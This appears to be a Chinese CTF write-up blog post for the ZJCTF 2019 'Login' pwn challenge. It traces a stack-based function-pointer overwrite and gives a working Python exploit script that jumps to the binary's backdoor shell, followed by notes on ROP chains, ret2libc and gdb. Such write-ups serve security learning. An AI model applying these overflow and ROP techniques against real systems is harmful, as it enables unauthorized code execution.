CTF-PWN-[ZJCTF 2019]Login 栈位置的转换跟踪

CTF-PWN-[ZJCTF 2019]Login 栈位置的转换跟踪

来源:https://buuoj.cn/challenges

内容

附件:链接:https://pan.baidu.com/s/1uBEYYeg9ouPDEOah-BHGQA?pwd=6si8 提取码:6si8

答案:PWN题为动态flag

总体思路

检查题目逻辑发现执行call的地方

通过x键检查其被调用的地方发现var130

通过动调发现该值在栈中的位置,使用题目自带的后门函数完成

详细步骤

  • 使用pip install sgtlibc安装pwn解题框架

  • 发现是cpp的题目,在password_checker的第9行下断点到判断密码的位置,随后输入用户名admin,密码cylic(300)用于测试溢出点和调用点

  • 题目是比较密码是否等于2jctf_pa5sw0rd,正确则跳转进入 (**a1)()

  • 发现此处的值是aaaa,则我们将密码设置为2jctf_pa5sw0rd\x00 +cylic(300)继续测试。

  • 同时通过回溯call eax的来源,发现其来自于ebp+var130,其在栈上的位置为0x48

    • image-20220623142338508
    • image-20220623142351067
  • 故将payload 改为 b’2jctf_pa5sw0rd\x00’.ljust(0x48,b’\x00’)即可填充到call的位置,再加上p00(shell_addr)即可完成。

  • payload

    • import sgtlibc
      from sgtlibc.gamebox import *
      set_config(GameBoxConfig(
          is_local=True,
          file='./login',
          remote='node4.buuoj.cn:27456',
          auto_load=True,
          auto_show_rop=True,
          auto_show_summary=True,
          auto_start_game=True,
          auto_load_shell_str=True,
          auto_show_symbols=True
      ))
      s = sgtlibc.Searcher()
      elf = client.elf
      pause()
      sl('admin')
      # payload = ['2jctf_pa5sw0rd\x00', cyclic(300)]
      # sla('pass',payload)  # 测试溢出点
      
      
      shell_addr = 0x0400E88
      payload = b'2jctf_pa5sw0rd\x00'
      payload = payload.ljust(0x48, b'\x00')
      payload += p00(shell_addr)
      sla('pass', payload)
      interactive()
      
    • 注意此处填充要使用\x00,否则会导致地址被破坏。

  • image-20220623142746138

参考文档

  • 常见知识点

    • 汇编

      leave equal mov esp,ebp; pop ebp;

      ret equal pop eip

    • 函数参数

      • x86函数传参:直接从栈上读,且参数在返回地址上方

        栈的执行顺序 ebp+(func1+f1_返回+f1_args)+(func2+f2_返回+f2_args)…

        syscall的话则需要寄存器传参:ebx,ecx,edx,esi,edi,ebp

      • x64函数传参:按 rdi, rsi, rdx, rcx, r8, r9顺序读,后续的从栈上读

        故x64需要调用ROP实现pop将参数从栈中传入寄存器

        内存地址不能大于 0x00007FFFFFFFFFFF,6 个字节长度,否则会抛出异常。

    • ret2libc注意事项

      • 当题目没有设置setbuf的时候,不要用plt.printf,否则不会有回显
      • 注意有时候远程打不通的时候,可能是因为栈没有平衡,找一个ret走一下可能就好了。
    • gdb/pwndb

      • 内存查看

        • p expresion 查看指定数值 /print
        • x 查看各类
          • x/20g address 查数据 /global
          • x/20i address 查反汇编 /
          • x/20s address 查字符串 /strings
          • x/20b address 查字节 /bytes
        • hex查看hex及asciihex address size
        • i r 查注册表 /inspect register
      • vmmap 内存查看

      • 调试

        • ni/下一步 si/进入 c/继续
        • b addr/断点 e addr/enable断点 d/disable断点 q/退出
        • set expression=xxx 设置内存
  • 常用工具

    • pwntools逆向python库
    • Kali
      • checksec:检查样本的基 本信息也可以是通过设置 pwntool.context.log_level = 'debug’得到
      • ROPgadget/ropper:检查文件中可以利用的gadgetrop-chain
        • 静态编译的题基本上都是可以一键生成ropchain的,ropper -f flower --chain “execve cmd=/bin/sh”
        • 注意在python3版本中,生成的chain需要在所有的字符串前面加上b表示十六进制值,否则会出现str不能合并bytes的报错
      • gdb:程序动态调试工具,也可以直接使用ida的远程调试功能
    • libc_searcher:用于retlibc题时候查询其libc版本
      • 在线web查询 推荐的查询器 稍菜一点的查询器
      • 离线python pip install sgtlibc ,使用 sgtlibc ./binary_file func_name:addr func2_name:addr… --dump binsh
      • docker部署离线外部查询环境 docker pull libcyber/srpnode 注意需要更新
  • 教程

  • 常见知识点

  • 0
    点赞
  • 3
    收藏
    觉得还不错? 一键收藏
  • 3
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 3
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值